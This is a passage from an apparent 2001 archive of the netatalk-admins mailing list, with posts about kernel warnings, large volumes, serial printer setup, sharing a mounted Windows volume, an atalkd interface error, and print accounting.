	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24822
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 07:07:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24806
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 07:07:24 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24765
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 07:07:23 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 25 Jan 2001 12:07:29 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 25 Jan 2001 12:07:26 +0000
Subject: Is Netatalk causing these kernel errors?
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B695C77E.2ECE%basil.hussain@specialreserve.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

Upon rebooting a new server I'm testing, I noticed some strange
error/warning messages from the kernel when Netatalk started up. The error
was:

kmem_grow: Called nonatomically from int - size-32

This was repeated 3 times in succession. Is anything wrong here? Everything
seems to work fine, as Netatalk started up okay and I'm able to connect fine
to all shares. Restarting Netatalk subsequently didn't yield the same
errors.

I'm running netatalk-1.4.99-0.20001108mdk (from Sourceforge RPM). The server
is running RedHat 6.2, but I have just retrofitted the newer kernel
distributed with RedHat 7 (2.2.16-22) - could this be what's playing up? It
seems to be okay otherwise... (In case you're wondering, I'm playing with
the CIPE VPN system, who's kernel module is only available with RH7.)

Anyway, firstly, can anyone tell me if this actually could have been caused
by Netatalk, or is it just a coincidence? Secondly, if to-do with Netatalk,
is it anything to worry about?

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Thu Jan 25 14:58:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA00865
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 14:58:59 -0500 (EST)
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id OAA01712
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 14:58:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12267
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 14:55:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12255
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 14:55:36 -0500 (EST)
Received: from web216.mail.yahoo.com (web216.mail.yahoo.com [128.11.68.116])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA12237
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 14:55:35 -0500 (EST)
Received: (qmail 21956 invoked by uid 60001); 25 Jan 2001 19:55:34 -0000
Message-ID: <20010125195534.21955.qmail@web216.mail.yahoo.com>
Received: from [209.7.6.35] by web216.mail.yahoo.com; Thu, 25 Jan 2001 11:55:34 PST
Date: Thu, 25 Jan 2001 11:55:34 -0800 (PST)
From: Edward Plese <eplese@yahoo.com>
Subject: Large Volumes
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

How well does netatalk handle large volumes, many
files, and many clients?  Would netatalk have any
problems with 40GB of data in 350,000 files on a
single volume with simultaneous connectinos from 300
client Macintosh computers?  I am new to netatalk and
have only done testing on a small scale, so any info
would be greatly appreciated.

Thanks,
Ed Plese
eplese@yahoo.com

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices. 
http://auctions.yahoo.com/

From netatalk.administrators-errors@umich.edu  Thu Jan 25 15:24:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01674
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 15:24:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA19916
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 15:24:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA19897
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 15:23:59 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA19819
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 15:23:57 -0500 (EST)
Received: (qmail 19607 invoked by alias); 25 Jan 2001 20:24:03 -0000
Received: (qmail 19479 invoked by uid 0); 25 Jan 2001 20:23:54 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 25 Jan 2001 20:23:54 -0000
Message-ID: <3A708B9D.D36A002D@potsdam.edu>
Date: Thu, 25 Jan 2001 15:25:01 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Edward Plese <eplese@yahoo.com>
CC: netatalk-admins@umich.edu
Subject: Re: Large Volumes
References: <20010125195534.21955.qmail@web216.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	
	The main issues with Netatalk under these situations aren't Netatalk's
problem, rather it's the client's problem. Mac's, in general, have
issues displaying folders that contain a large number of files/folders.
If you organize the file structure properly, the below requirements are
trivial- I have environments that are much more demanding. However if
you throw those 350,000 files in the root of that volume, your clients
will choke... Miserably.
	Tip: RAID0/1 RAID0/1 RAID0/1

Edward Plese wrote:
> 
> How well does netatalk handle large volumes, many
> files, and many clients?  Would netatalk have any
> problems with 40GB of data in 350,000 files on a
> single volume with simultaneous connectinos from 300
> client Macintosh computers?  I am new to netatalk and
> have only done testing on a small scale, so any info
> would be greatly appreciated.



-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Thu Jan 25 17:06:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03496
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 17:06:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18680
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 17:06:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18669
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 17:06:05 -0500 (EST)
Received: from mail.the-i-pa.com (client-151-201-71-132.the-i-pa.com [151.201.71.132] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA18645
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 17:06:04 -0500 (EST)
Received: (qmail 30295 invoked from network); 25 Jan 2001 22:15:45 -0000
Received: from unknown (HELO ws1) (151.201.71.138)
  by mail.the-i-pa.com with SMTP; 25 Jan 2001 22:15:45 -0000
Message-ID: <000e01c0871c$4c94d430$8a47c997@ws1>
From: "All-Ireland Racing/Guinness Cycling Team" <Guinnessbike@mail.iowna.com>
To: "Edward Plese" <eplese@yahoo.com>, <netatalk-admins@umich.edu>
Subject: Re: Large Volumes
Date: Thu, 25 Jan 2001 17:15:17 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-Mimeole: Produced By Microsoft MimeOLE V4.72.3110.3

Large volumes seem to work just fine (just use the latest version) I've got
a 30G volume available and the Macs see it just fine.
350,000 is a lot of files, but as someone else said, you'll be fine as long
as there's some sort of directory structure. I don't think you want to put
more than about 10,000 files in a directory (as an absolute max), no matter
what OS you're talking about.
I don't see why it couldn't handle 300 connections, but I would have plenty
of RAM in the machine. The server I'm looking at right now has 10 active
Netatalk connections, 1 active Microsoft connection and 2 active NFS
connections. It's using about 10M of RAM to maintain this. I would figure
256M RAM absolute minimum to handle 300 connections. Of course, the more RAM
you have the more file caching the system can do and performance will
improve. The system is an Athlon 1100, running FreeBSD 4.2 and the file
performance is excellent. There're about 10,000 files on the shared volume
comprising 4.5G. The drives, by the way, are SCSI-160m/s IBM HDDS - very
fast!

-Bill

-----Original Message-----
From: Edward Plese <eplese@yahoo.com>
To: netatalk-admins@umich.edu <netatalk-admins@umich.edu>
Date: Thursday, January 25, 2001 3:14 PM
Subject: Large Volumes


>How well does netatalk handle large volumes, many
>files, and many clients?  Would netatalk have any
>problems with 40GB of data in 350,000 files on a
>single volume with simultaneous connectinos from 300
>client Macintosh computers?  I am new to netatalk and
>have only done testing on a small scale, so any info
>would be greatly appreciated.



From netatalk.administrators-errors@umich.edu  Thu Jan 25 17:53:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05969
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 17:53:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29205
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 17:53:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29186
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 17:53:19 -0500 (EST)
Received: from mail.arcor-ip.de (mail-ffm-p.arcor-ip.de [145.253.2.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA29069
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 17:53:14 -0500 (EST)
Received: from [192.168.1.20] (213.23.36.208) by mail.arcor-ip.de; 25 Jan 2001 23:53:20 +0100
Mime-Version: 1.0
X-Sender: jgrantha@mail.hannover.sgh-net.de
Message-Id: <p05010410b6965794e767@[192.168.1.20]>
Date: Thu, 25 Jan 2001 23:50:48 +0100
To: netatalk-admins@umich.edu
From: John L Grantham <john@grantham.com>
Subject: Printing problems (long)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi all,

I'm having a great deal of trouble trying to print using a Personal 
LaserWriter NTR from Apple, connected via serial cable to /dev/ttyS1. 
I am using a PowerMac G3 MT/266 with LinuxPPC 2000 Q4; the kernel 
does have AppleTalk support built-in. Netatalk works fine on the file 
server end.

First I used stty to throttle the port:

stty 9600 raw -echo -crtscts ixon ixoff cstopb < /dev/ttyS1

For reference, here are the settings Apple says for the printer:
http://til.info.apple.com/tilarchive.nsf/artnum/n15070
I have the printer set on 5 (9600 baud serial, XON/XOFF).

If I type in "cat test.ps > /dev/ttyS1", it prints fine. However, if 
I try to print with netatalk or lpd, it doesn't.

Here is my /etc/printcap:

lp|SerialShakespeare:\
         :sd=/var/spool/lpd/lp:\
         :mx#0:sh:rw:sf:\
         :lp=/dev/ttyS1:\
         :ms=-parity,onlcr,ixon,ixoff:\
         :fc#0000374:fs#0000003:xc#0:xs#0040040:\
         :br#9600:
         :if=/usr/sbin/psf:\
         :lf=/var/spool/lpd/lp/lpd-errs:\
         :of=/usr/sbin/psf:

lp0|AppleTalkShakespeare:\
         :sd=/var/spool/lpd/lp0:\
         :mx#0:sh:rw:sf:\
         :lp=/dev/null:\
         :if=/usr/lib/atalk/filters/ifpap:\
         :of=/usr/lib/atalk/filters/ofpap:

Here are the permissions on the relevant files:

[root@hobbithole lp0]# ls -al /dev/ttyS* /dev/lp*
lrwxrwxrwx    1 root     root           10 Jan 21 18:26 /dev/lp -> /dev/ttyS1
crw-rw----    1 root     daemon     6,   0 May  5  1998 /dev/lp0
crw-rw----    1 root     daemon     6,   1 May  5  1998 /dev/lp1
crw-rw----    1 root     daemon     6,   2 May  5  1998 /dev/lp2
crw-rw-rw-    1 root     tty        4,  64 May  5  1998 /dev/ttyS0
crw-rw-rw-    1 root     tty        4,  65 Jan 25 21:35 /dev/ttyS1
crw-rw-rw-    1 root     tty        4,  66 May  5  1998 /dev/ttyS2
crw-rw-rw-    1 root     tty        4,  67 May  5  1998 /dev/ttyS3

[root@hobbithole lpd]# ls -al /var/spool/lpd
total 28
drwxrwxr-x    4 root     daemon       4096 Jan 25 22:31 .
drwxr-xr-x   10 root     root         4096 Jan 23 22:29 ..
-rw-rw-r--    1 root     daemon          5 Jan 25 22:40 lock
drwxrwxrwx    2 root     daemon       4096 Jan 25 21:35 lp
drwxrwxr-x    2 root     daemon       4096 Jan 25 22:41 lp5
-rw-rw-r--    1 root     daemon          5 Jan 25 22:40 lpd.lock

[root@hobbithole lpd]# ll /usr/sbin/ps*
-rwxr-sr-x    1 root     daemon       4568 Dec 21  1999 /usr/sbin/psa
-rwxr-sr-x    1 root     daemon      11232 Dec 21  1999 /usr/sbin/psf

Finally, lpc status says:

[root@hobbithole lpd]# lpc status
lp:
         queuing is enabled
         printing is enabled
         no entries
         no daemon present
         :
         queuing is enabled
         printing is enabled
         no entries
         no daemon present
lp5:
         queuing is enabled
         printing is enabled
         no entries
         no daemon present

One strange thing is that, when I try to print (either with netatalk 
or locally with lpr), something resets ttyS1 to 110 baud.

When I try printing with lpr, it seems the file is sent, but it just 
sits in the queue forever and then finally times out.

If I try printing via netatalk over the network or pap locally, the 
job gets queued repeatedly (the queue keeps filling up) until I kill 
the queue with lprm -. In the meantime, I also get the messages:

Didn't get initial page count!
status: Permission denied
status: Permission denied
Unknown
Unknown

repeated over and over until I kill the queue. Finally, in 
/var/log/messages, I get the following when trying to print via 
netatalk:

Jan 25 22:44:50 localhost papd[7833]: lp_print queued
Jan 25 22:44:50 localhost papd[5028]: child 7833 done
Jan 25 22:44:50 localhost ifpap[7830]: 7832 done
Jan 25 22:44:50 localhost ifpap[7830]: wait3: No child processes
Jan 25 22:44:50 localhost ofpap[7827]: restarting
Jan 25 22:44:50 localhost lpd[7369]: restarting lp5
Jan 25 22:44:50 localhost ofpap[7827]: done
Jan 25 22:44:50 localhost ofpap[7835]: starting for ?
Jan 25 22:44:50 localhost ofpap[7835]: sending to pap[7836]
Jan 25 22:44:50 localhost papd[5028]: child 7837 for "Shakespeare" 
from 65280.107
Jan 25 22:44:50 localhost ofpap[7835]: straight text
Jan 25 22:44:50 localhost papd[5028]: child 7837 done
Jan 25 22:44:50 localhost ofpap[7835]: 7836 done
Jan 25 22:44:50 localhost ofpap[7835]: pausing
Jan 25 22:44:50 localhost ifpap[7838]: starting for daemon
Jan 25 22:44:50 localhost ifpap[7838]: accounting with psa[7839]
Jan 25 22:44:50 localhost ifpap[7838]: sending to pap[7840]
Jan 25 22:44:50 localhost ifpap[7838]: PostScript
Jan 25 22:44:50 localhost papd[5028]: child 7841 for "Shakespeare" 
from 65280.107
Jan 25 22:44:50 localhost papd[7841]: lp_print queued
Jan 25 22:44:50 localhost ifpap[7838]: 7840 done
Jan 25 22:44:50 localhost ifpap[7838]: 7839 died with 2
Jan 25 22:44:50 localhost lpd[7369]: lp5: job could not be printed 
(cfA830hobbithole)
Jan 25 22:44:50 localhost ofpap[7835]: restarting
Jan 25 22:44:50 localhost papd[5028]: child 7841 done
Jan 25 22:44:50 localhost ofpap[7835]: sending to pap[7843]
Jan 25 22:44:50 localhost ofpap[7835]: straight text
Jan 25 22:44:50 localhost papd[5028]: child 7844 for "Shakespeare" 
from 65280.107
Jan 25 22:44:50 localhost ofpap[7835]: 7843 done
Jan 25 22:44:50 localhost ofpap[7835]: pausing
Jan 25 22:44:50 localhost ifpap[7845]: starting for daemon
Jan 25 22:44:50 localhost ifpap[7845]: accounting with psa[7846]
Jan 25 22:44:50 localhost papd[5028]: child 7844 done
Jan 25 22:44:50 localhost ifpap[7845]: sending to pap[7847]
Jan 25 22:44:50 localhost ifpap[7845]: PostScript
Jan 25 22:44:50 localhost papd[5028]: child 7848 for "Shakespeare" 
from 65280.107

This also gets repeated over and over again until the queue is killed.

Can someone help me out?

Thanks,

John
-- 

John Grantham	| Dipl.-Designer (FH)
		| Homepage       http://design.macnews.de/
		| Linux for PPC  http://www.maclinux.de/
Web Designer	| AGD Member     http://www.agd.de/

From netatalk.administrators-errors@umich.edu  Thu Jan 25 18:19:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA06956
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 25 Jan 2001 18:19:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA07841
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 25 Jan 2001 18:19:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA07829
	for netatalk.administrators-members@umich.edu; Thu, 25 Jan 2001 18:19:31 -0500 (EST)
Received: from web206.mail.yahoo.com (web206.mail.yahoo.com [128.11.68.106])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA07808
	for <netatalk-admins@umich.edu>; Thu, 25 Jan 2001 18:19:30 -0500 (EST)
Received: (qmail 3274 invoked by uid 60001); 25 Jan 2001 23:19:29 -0000
Message-ID: <20010125231929.3273.qmail@web206.mail.yahoo.com>
Received: from [216.233.168.148] by web206.mail.yahoo.com; Thu, 25 Jan 2001 15:19:29 PST
Date: Thu, 25 Jan 2001 15:19:29 -0800 (PST)
From: Edward Plese <eplese@yahoo.com>
Subject: Using netatalk to share mounted volume
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

In our current environment we were attempting to have
a Windows 2000 file server host files for both Macs
and PCs.  Apparently however, Mac file sharing for
Win2k has a serious bug that causes it to crash the
server a few times every day.  What I am considering
would be to setup a Linux box and mount the Windows
2000 file share on the Linux box and then share this
mounted volume out to Macs using netatalk.  I have
tested this and it works fine on a small scale.  One
thing that I am still wondering is as follows.. Win2k
Mac file services will build a file and directory
index of the entire volume which becomes very large
with hundreds of thousands of files.  Over a network
this would be horrible.  Does netatalk build a file
index such as this?
Is there any reason this would not work well on a
larger scale?

Thanks again,
-Ed


__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices. 
http://auctions.yahoo.com/

From netatalk.administrators-errors@umich.edu  Fri Jan 26 07:01:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA19890
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 07:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA11712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 07:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA11701
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 07:01:36 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA11687
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 07:01:35 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f0QC1YZ04941
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 07:01:34 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210100b697180bd416@[216.155.36.73]>
In-Reply-To: <20010125231929.3273.qmail@web206.mail.yahoo.com>
References: <20010125231929.3273.qmail@web206.mail.yahoo.com>
Date: Fri, 26 Jan 2001 07:04:21 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Using netatalk to share mounted volume
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Edward, this is way off-topic, but how did you do this?  You 
mounted Windows through Samba?  Or some kind of wacky Windows NFS 
client?

	Ryan


>In our current environment we were attempting to have
>a Windows 2000 file server host files for both Macs
>and PCs.  Apparently however, Mac file sharing for
>Win2k has a serious bug that causes it to crash the
>server a few times every day.  What I am considering
>would be to setup a Linux box and mount the Windows
>2000 file share on the Linux box and then share this
>mounted volume out to Macs using netatalk.  I have
>tested this and it works fine on a small scale.  One
>thing that I am still wondering is as follows.. Win2k
>Mac file services will build a file and directory
>index of the entire volume which becomes very large
>with hundreds of thousands of files.  Over a network
>this would be horrible.  Does netatalk build a file
>index such as this?
>Is there any reason this would not work well on a
>larger scale?
>
>Thanks again,
>-Ed
>
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Auctions - Buy the things you want at great prices.
>http://auctions.yahoo.com/

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
If you want to achieve excellence, you can get there today. As of 
this second, quit doing less-than-excellent work.
Thomas Watson, founder of IBM


From netatalk.administrators-errors@umich.edu  Fri Jan 26 11:19:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 11:19:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 11:19:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02386
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 11:19:21 -0500 (EST)
Received: from dallas.jhuapl.edu (dallas.jhuapl.edu [128.244.197.22])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA02081
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 11:19:09 -0500 (EST)
Received: from CONVERSION-DAEMON by dallas.jhuapl.edu (PMDF V5.2-32 #40039)
 id <0G7S00K012NMEP@dallas.jhuapl.edu> for netatalk-admins@umich.edu; Fri,
 26 Jan 2001 11:18:58 -0500 (EST)
Received: from TenClient (tenclient.jhuapl.edu [128.244.128.48])
 by dallas.jhuapl.edu (PMDF V5.2-32 #40039)
 with SMTP id <0G7S00HBF2NHSD@dallas.jhuapl.edu> for netatalk-admins@umich.edu;
 Fri, 26 Jan 2001 11:18:58 -0500 (EST)
Date: Fri, 26 Jan 2001 11:18:53 -0500
From: Chris Stone <Chris.Stone@jhuapl.edu>
Subject: atalkd: can't get interfaces, exitin
To: netatalk-admins@umich.edu
Reply-to: Chris.Stone@jhuapl.edu
Message-id: <0G7S00HBH2NMSD@dallas.jhuapl.edu>
MIME-version: 1.0
X-Mailer: Apple Mail (2.343)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT

Hello,

I, like a few others on the list, have gotten the following error when invoking netatalk.
--snip
root>./atalkd
socket: Invalid argument
socket: Invalid argument
atalkd: can't get interfaces, exiting.
--end snip

I have checked the list and found comments regarding the /etc/conf.modules file. I believe I have the proper entry. Here is a snippet from my file.
--snip
alias net-pf-5 appletalk
# alias net-pf-5            off
--end snip

My interface does multicasting.
root>ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:50:E4:B0:55:3A  
          inet addr:128.244.xxx.yy  Bcast:128.244.xxx.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5540 errors:0 dropped:0 overruns:0 frame:0
          TX packets:351 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          Interrupt:42 Base address:0xf000 

The only entry in my /etc/atalk/atalkd.conf file is.
--snip
eth0
--end snip

I am running suse linux v6.4 for PPC on a blue and white g3. Can any one point me in the right direction?

Thank You,

Chris

From netatalk.administrators-errors@umich.edu  Fri Jan 26 11:53:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA25301
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 11:53:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28757
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 11:53:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28725
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 11:53:20 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA28630
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 11:53:17 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id LAA27391
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 11:53:21 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id LAA01919
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 11:53:20 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Fri, 26 Jan 2001 11:53:20 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: <netatalk-admins@umich.edu>
Subject: print accounting
Message-ID: <Pine.SOL.4.31.0101261148290.1629-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

We have just centeralized our print services to one sun machine,
handeling unix mac and PC printing with LPRng, samba, and atalk.

We would like to be able to do some form of print accouting on our
colout laser. LPRng has this feature, so accounting unix is simple.
Samba requires a log on to print, so we can account windows. But all mac
printing gets piped to lprng as user root (or whatever we set the "op"
flag to in the papd.conf file).

If we are going to do accounting we need something better than this. We
don't even need a username, the name of the mac that sent the print job
would be fine.

Is there anyway to do this?

Thanks.

***************************** **************************************
*Rick Goldberg              * *                                    *
*Graduate Student           * * "I never wanted to be average,     *
*Computer Science Dept      * *   because when you are average you *
*York University            * *   are just as far from the top as  *
*Toronto, Canada            * *   you are from the bottom."        *
*rickg@yorku.ca             * *              -Stan Cottrell-       *
*www.cs.yorku.ca/~rickg     * *                                    *
***************************** **************************************
     "If you don't invest very much, the defeat doesn't hurt,
             But winning isn't very exciting."



From netatalk.administrators-errors@umich.edu  Fri Jan 26 12:16:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25869
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 12:16:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA21374
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 12:16:24 -0500 (EST)
Received: (from daemon@localhost)
